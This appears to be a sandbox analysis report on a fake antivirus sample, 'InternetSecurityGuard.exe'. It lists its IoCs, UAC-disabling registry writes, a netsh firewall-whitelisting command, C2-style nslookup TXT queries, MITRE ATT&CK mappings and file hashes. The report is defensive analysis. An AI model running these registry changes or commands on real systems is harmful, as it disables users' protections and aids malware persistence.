2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeSecurityPrivilege	616	mofcomp.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe

Suspicious use of SendNotifyMessage 5 IoCs

pid	Process
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2464	InternetSecurityGuard.exe
2464	InternetSecurityGuard.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2464 wrote to memory of 616	2464	InternetSecurityGuard.exe	28
PID 2464 wrote to memory of 616	2464	InternetSecurityGuard.exe	28
PID 2464 wrote to memory of 616	2464	InternetSecurityGuard.exe	28
PID 2464 wrote to memory of 616	2464	InternetSecurityGuard.exe	28
PID 2464 wrote to memory of 1032	2464	InternetSecurityGuard.exe	30
PID 2464 wrote to memory of 1032	2464	InternetSecurityGuard.exe	30
PID 2464 wrote to memory of 1032	2464	InternetSecurityGuard.exe	30
PID 2464 wrote to memory of 1032	2464	InternetSecurityGuard.exe	30
PID 2464 wrote to memory of 2880	2464	InternetSecurityGuard.exe	32
PID 2464 wrote to memory of 2880	2464	InternetSecurityGuard.exe	32
PID 2464 wrote to memory of 2880	2464	InternetSecurityGuard.exe	32
PID 2464 wrote to memory of 2880	2464	InternetSecurityGuard.exe	32
PID 2464 wrote to memory of 2696	2464	InternetSecurityGuard.exe	35
PID 2464 wrote to memory of 2696	2464	InternetSecurityGuard.exe	35
PID 2464 wrote to memory of 2696	2464	InternetSecurityGuard.exe	35
PID 2464 wrote to memory of 2696	2464	InternetSecurityGuard.exe	35
PID 2464 wrote to memory of 1912	2464	InternetSecurityGuard.exe	37
PID 2464 wrote to memory of 1912	2464	InternetSecurityGuard.exe	37
PID 2464 wrote to memory of 1912	2464	InternetSecurityGuard.exe	37
PID 2464 wrote to memory of 1912	2464	InternetSecurityGuard.exe	37
PID 2464 wrote to memory of 1996	2464	InternetSecurityGuard.exe	39
PID 2464 wrote to memory of 1996	2464	InternetSecurityGuard.exe	39
PID 2464 wrote to memory of 1996	2464	InternetSecurityGuard.exe	39
PID 2464 wrote to memory of 1996	2464	InternetSecurityGuard.exe	39
PID 2464 wrote to memory of 2728	2464	InternetSecurityGuard.exe	41
PID 2464 wrote to memory of 2728	2464	InternetSecurityGuard.exe	41
PID 2464 wrote to memory of 2728	2464	InternetSecurityGuard.exe	41
PID 2464 wrote to memory of 2728	2464	InternetSecurityGuard.exe	41
PID 2464 wrote to memory of 1028	2464	InternetSecurityGuard.exe	43
PID 2464 wrote to memory of 1028	2464	InternetSecurityGuard.exe	43
PID 2464 wrote to memory of 1028	2464	InternetSecurityGuard.exe	43
PID 2464 wrote to memory of 1028	2464	InternetSecurityGuard.exe	43
PID 2464 wrote to memory of 2704	2464	InternetSecurityGuard.exe	45
PID 2464 wrote to memory of 2704	2464	InternetSecurityGuard.exe	45
PID 2464 wrote to memory of 2704	2464	InternetSecurityGuard.exe	45
PID 2464 wrote to memory of 2704	2464	InternetSecurityGuard.exe	45
PID 2464 wrote to memory of 632	2464	InternetSecurityGuard.exe	47
PID 2464 wrote to memory of 632	2464	InternetSecurityGuard.exe	47
PID 2464 wrote to memory of 632	2464	InternetSecurityGuard.exe	47
PID 2464 wrote to memory of 632	2464	InternetSecurityGuard.exe	47
PID 2464 wrote to memory of 2220	2464	InternetSecurityGuard.exe	49
PID 2464 wrote to memory of 2220	2464	InternetSecurityGuard.exe	49
PID 2464 wrote to memory of 2220	2464	InternetSecurityGuard.exe	49
PID 2464 wrote to memory of 2220	2464	InternetSecurityGuard.exe	49
PID 2464 wrote to memory of 2996	2464	InternetSecurityGuard.exe	51
PID 2464 wrote to memory of 2996	2464	InternetSecurityGuard.exe	51
PID 2464 wrote to memory of 2996	2464	InternetSecurityGuard.exe	51
PID 2464 wrote to memory of 2996	2464	InternetSecurityGuard.exe	51
PID 2464 wrote to memory of 2076	2464	InternetSecurityGuard.exe	53
PID 2464 wrote to memory of 2076	2464	InternetSecurityGuard.exe	53
PID 2464 wrote to memory of 2076	2464	InternetSecurityGuard.exe	53
PID 2464 wrote to memory of 2076	2464	InternetSecurityGuard.exe	53
PID 2464 wrote to memory of 2972	2464	InternetSecurityGuard.exe	55
PID 2464 wrote to memory of 2972	2464	InternetSecurityGuard.exe	55
PID 2464 wrote to memory of 2972	2464	InternetSecurityGuard.exe	55
PID 2464 wrote to memory of 2972	2464	InternetSecurityGuard.exe	55
PID 2464 wrote to memory of 2124	2464	InternetSecurityGuard.exe	57
PID 2464 wrote to memory of 2124	2464	InternetSecurityGuard.exe	57
PID 2464 wrote to memory of 2124	2464	InternetSecurityGuard.exe	57
PID 2464 wrote to memory of 2124	2464	InternetSecurityGuard.exe	57
PID 2464 wrote to memory of 1932	2464	InternetSecurityGuard.exe	59
PID 2464 wrote to memory of 1932	2464	InternetSecurityGuard.exe	59
PID 2464 wrote to memory of 1932	2464	InternetSecurityGuard.exe	59
PID 2464 wrote to memory of 1932	2464	InternetSecurityGuard.exe	59

System policy modification 1 TTPs 7 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	InternetSecurityGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "2"	InternetSecurityGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "2"	InternetSecurityGuard.exe

C:\Users\Admin\AppData\Local\Temp\Fake AV\InternetSecurityGuard.exe
"C:\Users\Admin\AppData\Local\Temp\Fake AV\InternetSecurityGuard.exe"
1⤵
- UAC bypass
- Enumerates VirtualBox registry keys
- Blocks application from running via registry modification
- Drops file in Drivers directory
- Sets file execution options in registry
- Loads dropped DLL
- Adds Run key to start application
- Checks for any installed AV software in registry
- Checks whether UAC is enabled
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Modifies Internet Explorer settings
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2464
- C:\Windows\SysWOW64\Wbem\mofcomp.exe
  mofcomp "C:\Users\Admin\AppData\Local\Temp\Fake AV\785.mof"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:616
- C:\Windows\SysWOW64\netsh.exe
  netsh "firewall" add allowedprogram "C:\Users\Admin\AppData\Local\Temp\Fake AV\InternetSecurityGuard.exe" "Internet Security Guard" ENABLE
  2⤵
  PID:1032
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt diinu560ubjjsv.com 8.8.8.8
  2⤵
  PID:2880
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt diinu560ubjjsv.net 8.8.8.8
  2⤵
  PID:2696
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt diinu560ubjjsv.com 208.67.222.222
  2⤵
  PID:1912
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt diinu560ubjjsv.net 208.67.222.222
  2⤵
  PID:1996
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt diinu560ubjjsv.com 8.8.4.4
  2⤵
  PID:2728
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt diinu560ubjjsv.net 8.8.4.4
  2⤵
  PID:1028
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt diinu560ubjjsv.com 208.67.220.220
  2⤵
  PID:2704
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt diinu560ubjjsv.net 208.67.220.220
  2⤵
  PID:632
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt insssyfinr1275tc.com 8.8.8.8
  2⤵
  PID:2220
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt insssyfinr1275tc.net 8.8.8.8
  2⤵
  PID:2996
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt insssyfinr1275tc.com 208.67.222.222
  2⤵
  PID:2076
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt insssyfinr1275tc.net 208.67.222.222
  2⤵
  PID:2972
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt insssyfinr1275tc.com 8.8.4.4
  2⤵
  PID:2124
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt insssyfinr1275tc.net 8.8.4.4
  2⤵
  PID:1932
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt insssyfinr1275tc.com 208.67.220.220
  2⤵
  PID:1900
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt insssyfinr1275tc.net 208.67.220.220
  2⤵
  PID:1832
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt hppwycfjr1248swx.com 8.8.8.8
  2⤵
  PID:1764
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt hppwycfjr1248swx.net 8.8.8.8
  2⤵
  PID:1020
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt hppwycfjr1248swx.com 208.67.222.222
  2⤵
  PID:1460
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt hppwycfjr1248swx.net 208.67.222.222
  2⤵
  PID:780
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt hppwycfjr1248swx.com 8.8.4.4
  2⤵
  PID:1060
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt hppwycfjr1248swx.net 8.8.4.4
  2⤵
  PID:1096
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt hppwycfjr1248swx.com 208.67.220.220
  2⤵
  PID:1984
- C:\Windows\SysWOW64\nslookup.exe
  nslookup -q=txt hppwycfjr1248swx.net 208.67.220.220
  2⤵
  PID:2248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Software Discovery

T1518

Security Software Discovery

T1518.001

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 300B
SHA256 f1e18db45a3c179b9ab3ca022eba21526a2d93bbba7f8d98efcd91f1bd742a69
MD5 820033cbc9b68d1d7acde28194ce221a
SHA1 19a5343b3a901b229b5a34c4c561d385df8c108d
SHA512 d5fb022b5e70d1273c76054bfda8743af036604d8a812e19b570af92b19029870775bef8b5dc902e8485fe4a90b9d430edaf63517eebe7d3c5e1ec3fe63bfa2e
MD5 SHA1 SHA512

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 379B
SHA256 59a2c42a65d37ac1b14483aff952f5c019a8a3abeac18ccb53dc8651ce437793
MD5 1fe4656b57683a9807233d376d110f74
SHA1 3c30d7bf6c84e988950e415796d7ccd7a0091925
SHA512 f72907a2def7a76d60463e52b0f55a55bfd4d45a42dd9e20a22dcd82d7a3edfbdd6f959ef3bb33297bec869a52d2eeb571ac0103a6dc8a9b8c4ab3f81c73ac2a
MD5 SHA1 SHA512

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 909B
SHA256 80aa19f3d94ad964aa025a1598d4ff6ec9e6a8f59a38520a20da4eaf9a095d36
MD5 31a1929f325437a8dc36392bf1ff7f2c
SHA1 61910269b6a1d5273709b592b525e171b8348905
SHA512 df15bf36998792bd161e64fdafa4235c7363e8d01fb1367517355e5b47cf5fb35de1e13e21f01ad6e20f0a4ab783753e2e09dc7c8c8f17aab54eff81cedec768
MD5 SHA1 SHA512

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 1KB
SHA256 df06e6ed473729685122e4015a5e61a0ea9a6e7c0ab858c3f615712b3c58e0f3
MD5 50ec430d2eb9cfbbd79c3a6645f5fb40
SHA1 42f14ab35a8fa92deeb6e82042e8510bd8ec1ef0
SHA512 4a96efe33ae4a2a23b4284df9c0f6a41ac2e3504b5021aa58eab612fff7b4fe13d540654d4fc12aed9c6e3a7c3e007dc85901fb19ef09101e1b9069e253f41b0
MD5 SHA1 SHA512

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 2KB
SHA256 c4e769d2eeab25fc9c3c213086be19d530b1e5f67146f57735922a6b9fa2627e
MD5 d6a5a89eaadd65e9a3cfb7800115ae5c
SHA1 431ade0a1eca4df8d87f85b99768f9f21ef08a3b
SHA512 d01d3b398f5d33cc13eafb51db6b7670c7e51a7cc634a826996f111b77faa5c048d6d407f3834d88cd4c9d55e0f436b54aa98443ff5cc5790d01975fd8ccf9e4
MD5 SHA1 SHA512

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 4KB
SHA256 b0e424e329e86a3c73a916b5ab840a087cccb1be97aa512eace935c0999190b3
MD5 0828e4ac472000458747d6d97c7fd64b
SHA1 057274347b808d46a13b2f082941acd6fe4feada
SHA512 23bbff5ec10810a66c63d8e11ff360ab380382e489310dac5dc44c1864f0c9e68792ac7666caa451e7fb7d406163271451480e4371eb7a3d0d35a2ac10e8e5e0
SSDEEP 96:rMKQPD0Ltc7rP0CmW9q+iYBzgmbfyShdXVTmFFYfmc6XcIRVSYR:rMKwN7rP0Pyq+n9bNvmBmK
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 6KB
SHA256 bdcb4d8345612b55fbe123ae5da3065f3a68c55f05e0927044d488fd608356e4
MD5 59dadf68754d5bf2737d02cf09b864c4
SHA1 b272d223475cce035efd186394ac59c7cadd6a16
SHA512 b2f6b627eaa7b4626431408e70d2a1a9f772c5766f18d0e90a0b97dfadaed04459dcba58fcc1cfdf4882d696937c7c61d0c2471d05eb72e81e5adc3f009f5b79
SSDEEP 96:rMKQPD0Ltc7rP0CmW9q+iYBzgmbfyShdXVTTFFYfmc6XcIRVSYRD6TjI9Sw6UDeg:rMKwN7rP0Pyq+n9bNEmBmo6fIFLDEV6P
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 7KB
SHA256 7bc0469489ce861e3973b1ceabc2398f81287d13172d10c20705e2b2facfe475
MD5 9aa1a913ffff52ed4a584e96f513d9d5
SHA1 d12e78e0a0239a602d2246cbacc8ae2d19934ee2
SHA512 1e27c1128eda92ecc4293a1c653e0640df04389280f036fab808dac1c824c9af2595a2e2d357776913bb88ed4fb75c952655cb184910be8874b3eaac8711c4ff
SSDEEP 192:rMKwN7rP0Pyq+n9bNDmBmo6fIFLDEV6+S+:kNETu9bNDmBmo6gFS62
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 7KB
SHA256 edbe6ebb2fcb64680f1f28cfa44ed0c36d2dc9a428ef108f296bd160504bd5ec
MD5 e3a8fd7a2b511c45e9484624ca6d4162
SHA1 1012c37b827e1ee96ca8b45e1c336e6dc6b24e25
SHA512 2a82b7eea71b35ef790f2886ac81a42fd1e6bb8896e3b0ab12d347dff8ccb84151cacb1da8277f40774fb3a1d4fcc8333bd2b9c8ac601d20daa6c27da51b4715
SSDEEP 192:rMKwN7rP0Pyq+19bNDmBmo6fIFLDEV6+SR:kNETs9bNDmBmo6gFS6Z
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 8KB
SHA256 2998798893bf3bd8d046eaa449485a8b13ea2529ec7fc318ae26aaeb3f885a70
MD5 368435bb05a3d416ef1c962a684ffb4d
SHA1 5c8a97dc5e3d5a026c12ec8fe30114bfff79b939
SHA512 839fc2755d28b3f4c285be3c7c775aab3ea1de71cbbc59bd096614bd0238b5867011c6758891d372045002022ba76562955f2c5c30438ec0ad533fffe1f1155b
SSDEEP 192:rMKwN7rP0Pyq+19bNmmBmo6fIFLDEV6+SIma:kNETs9bNmmBmo6gFS6Qma
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 9KB
SHA256 60aff01e213f37be3291069cddfeece2e55599548c3e8e570bd6141f6e431e33
MD5 b9339c8cab9cd0d9aed5764092eecb43
SHA1 15677f1a7bd6a9963043d07dd0979e06a9300080
SHA512 ee0109c396d1784c7457750e979df5b2ce933f3a54418fcf5448fdc74b09fbf8e99e149ad70f63c9caa2b294e4b2679eebd3f3feea1f31550f90f4e9b9ee7440
SSDEEP 192:rMKwN7rP0Pyq+19bNwmBmo6fIFLDEV6+SImJJ6:kNETs9bNwmBmo6gFS6QmJM
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 11KB
SHA256 69d13b091eea99ac9c2fcdce63dbda475382657754c127701c004ad1095af15e
MD5 c045146ba151ba146d47ef86c85a7781
SHA1 49ea1366221e5473e0b1c3aab2bc7c9b50d26b86
SHA512 fccf051c6c89a266a31a29fa05e0eb706e8dc99443f76d22f7bc2588b8a69a80d3708413be148ec578c45d30c25fdf39b865fad08de65580e495425c573a1864
SSDEEP 192:rMKwN7rP0Pyq+19bN1mBmo6fIFLDEV6+SImJJpwUTiJU:kNETs9bN1mBmo6gFS6QmJKU
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 185B
SHA256 c47da9be4fc4d757add73c49654c9179067af547d0cc758d6356e2955bbfcb61
MD5 b8224e5293d4fad1927c751cc00c80e7
SHA1 270b8c752c7e93ec5485361fe6ef7b37f0b4513b
SHA512 8fed9a509e46319529145fa2159251e43040d26080af84e44badaab1dd339c767ff75a2c473bc0abfb448b03beb96718ee34ba6bc150ed3085322878b55a22f2
MD5 SHA1 SHA512

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 13KB
SHA256 d98c88f00fe1b99485f922f0b5f2f281d49098621fc8fe766e74e48aed9ceb2e
MD5 3663fe6cb7024e2d1728358dc8a6922f
SHA1 5684dcff145aec79a11b481fb8154d2a21b32a6d
SHA512 acb20cc77696aeaed8c6b0b40b026756b01de5b302376ed097d7f5594d6f3565d1dad8972cff29dc9a1086ed498ac7962802a3a19f210c1790b498dd51d09e0a
SSDEEP 192:rMKwN7rP0Pyq+19bNqmBmo6fIFLDEV6+SImJJpwUTiJ9lj1cU7Ri:kNETs9bNqmBmo6gFS6QmJK9ljaUE
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 14KB
SHA256 caa080e40a0d16b2d84628fa747be38ccbaea0405b53a36b6aca080dbfcc193e
MD5 04f2cabc62011d98b3976bf934002194
SHA1 20019d27358b9acd1d34f9283fbefa7193fd5027
SHA512 96d7498c9c0875d836a2c2ba72a05836ae0959f4fe23077c0cc653baad78cfe59f2697f785fe4c6d27694781599e7d2dacc279f53b01ef43cc58906d60dc3970
SSDEEP 192:rMKwN7rP0Pyq+19bNpmBmo6fIFLDEV6+SImJJpwUTiJ9lj1cU7RvN:kNETs9bNpmBmo6gFS6QmJK9ljaUL
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 15KB
SHA256 ddd0915039a0ce76f1aa8063011cab5df90f80b3417318f52e6aa13cdb6267e8
MD5 2b13a67264f2985c6975bb837fef53a5
SHA1 8506c9e143bbc74cad3ba8ff431191045d30d1fc
SHA512 2096438fceceb1da099d5270dc7db41abca280db2453cac13f3f1bf18ab3ce11ac7fdce2dcfb8ce38e031e2d5438983c3a171055d0dc33adf715fdfc9f334e35
SSDEEP 192:rMKwN7rP0Pyq+19bNmmBmo6fIFLDEV6+SImJJpwUTiJ9lj1cU7RvOvtbM:kNETs9bNmmBmo6gFS6QmJK9ljaUAvi
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 16KB
SHA256 2aaced431bc5b3f5abf44b379a106158cca2b71f2bf415850373e60c5a21c67d
MD5 65996dd1049d9909b02e1f99ef66dc23
SHA1 c588e513e2754c3fecd4e11d4119f1d94bae5653
SHA512 c06253ba9687fbfbe492fad1ee6f52c42e10ecdc1bac86da455e57f8ea404804bc2dda0842e1a0a9db996a39a0fabefabc4244312084500467966bc55429169e
SSDEEP 192:rMKws7rP0Pyq+1DbNtmBmo6fIFLDEV6+SImJJpwUTiJ9lj1cU7RvOvtbl:ksETsDbNtmBmo6gFS6QmJK9ljaUAvX
MD5 SHA1 SHA512 SSDEEP

Submit Download

ISBXG.cfg

Path C:\ProgramData\ISJHKG\ISBXG.cfg
Size 16KB
SHA256 de87c5e6e2211438b37e35f81bb2bb2efce4a3efdb3bb35dd2c0554a9c5b36b8
MD5 6b20bd47b4c7d5930e7e48b2b06adc38
SHA1 bf729779b32c3e8bc9717050e5c324a42958964a
SHA512 9ff18d0cd21eecdcd3d0a39480041fc9cc60986354c47af524f7a1493750a9e87c4c3c0ef11bc44ab9594e1259bebf8fd8dc2fa2c9d465549d3d7ae6b40d13eb
SSDEEP 192:rMKws7rP0Pyq+zDbNtmBmo6fIFLDEV6+SImJJpwUTiJ9lj1cU7RvOvtbl:ksETKDbNtmBmo6gFS6QmJK9ljaUAvX
MD5 SHA1 SHA512 SSDEEP

Submit Download

785.mof

Path C:\Users\Admin\AppData\Local\Temp\Fake AV\785.mof
Size 344B
SHA256 3c77f5f888d417a7a31284cb8c5e3bdb4d926c4a274cecac8a8b2920659d5927
MD5 3754f8f8abad5bad797085d0717a9766
SHA1 48d92f36cb721b390e216aa03b27b41f25c563fc
SHA512 c59f322ece53c757767e52fe9bfbc3526a13afe9ec7503e3d1cae683eeb55cbb808a1bce720fd58f97f286756d314124bcf797c2167275e08ed93ba759bf3985
MD5 SHA1 SHA512

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m9nu9nej.default-release\prefs.js
Size 6KB
SHA256 10bcf8040d7458d6906c12f253b90924a18ec8d5723a347664ab0f9e637b6778
MD5 c2b40944f9f13555f49b718eb53170b4
SHA1 2116ee89ae74f721658168cb99423421e0b867b9
SHA512 d85a6d8e3a88aaaeb650f48f0b675529a2578cedbceb6176b86044c374bddc0c99768ffc2c7619bd07a83bc6dd496f82f5fccf0d9041a9e6803939e80dbf2926
SSDEEP 96:xHe75nUTeqGqjdXgAeOTzSiPXAnpjKHJm5aE0Bw8VJKlI:Y75nIRjdXgAewPXzLBw8Vr
MD5 SHA1 SHA512 SSDEEP

Submit Download

host_new

Path C:\Windows\System32\drivers\etc\host_new
Size 977B
SHA256 600d914eb6b9ffb387be5b7300ca138192a4e86c4679c9bff36bcf0364e74b36
MD5 53316bc0c42b9d65743709021f1d03c7
SHA1 44cfe377bf7fedee2ce8f888cfacefd283e924e6
SHA512 9b390f6d7955413c8d63d02dff6988442cf78bbfb72e12f7deab56b190c1a7f455c5af3344ee5a1f7477d383c24e567af4fb7639ab6d9f014935418bf1cf00f6
MD5 SHA1 SHA512

Submit Download

IS408.exe

Path \ProgramData\a7e83\IS408.exe
Size 1.6MB
SHA256 195177b03391be99f08e9c7a88edb78c6067c728dbcde288e13e169f7234f9dc
MD5 ec7c2ddd972e3d6f71ddab26c8f0e42a
SHA1 676e908874b2487e964452670c24a5a81b803cc3
SHA512 c7e1f2751c908ac095050825cdc4e7b7f86ab97a23cfe453519bafeb1fcc5d364d27b670e031ff2e0b327e96c28b6a86cc8862af05d409db8a8410752c6f6699
SSDEEP 24576:nQyyevWWdA6Mibs1vOFJ+tWLUj1qePeQcgVidlgKcOFBhZ5MAyWGlkLHnaLDAiv9:hvJA1vOFJ+0L28eAgKd7dE2AAE9pmk
MD5 SHA1 SHA512 SSDEEP

Submit Download

IS408.exe

Path \ProgramData\a7e83\IS408.exe
Size 256KB
SHA256 05917c561b4f82cabadfc49e1783e10e8a387cffbfd2fc8a8667d08c95c2009a
MD5 03879ae54e47c61dee7fbf63816224f5
SHA1 4a1df19b48b8453a95b8f159efcb43ac52b57596
SHA512 a246ff3a7a1a20edb0cf745ad19a169cae7f890ec79d56ceff5487e329223ec3ee686cbe76fc834fabe52f63a0fd2b2448103578d9a45b08171f0de474203b8d
SSDEEP 6144:SKVbb+VYPMZF+lKXV94GZDhq/0evWWdA7+QVv1u:nQYNSZDjevWWdA6Mw
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2464-625-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-637-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-458-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-456-0x0000000000230000-0x0000000000231000-memory.dmp

Download

memory/2464-602-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-604-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-608-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-455-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-612-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-613-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-614-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-615-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-616-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-617-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-618-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-619-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-620-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-621-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-622-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-623-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-624-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-0-0x0000000000230000-0x0000000000231000-memory.dmp

Download

memory/2464-626-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-627-0x0000000013140000-0x0000000013764000-memory.dmp

Download

memory/2464-628-0x0000000013140000-0x0000000013764000-memory.dmp

Download

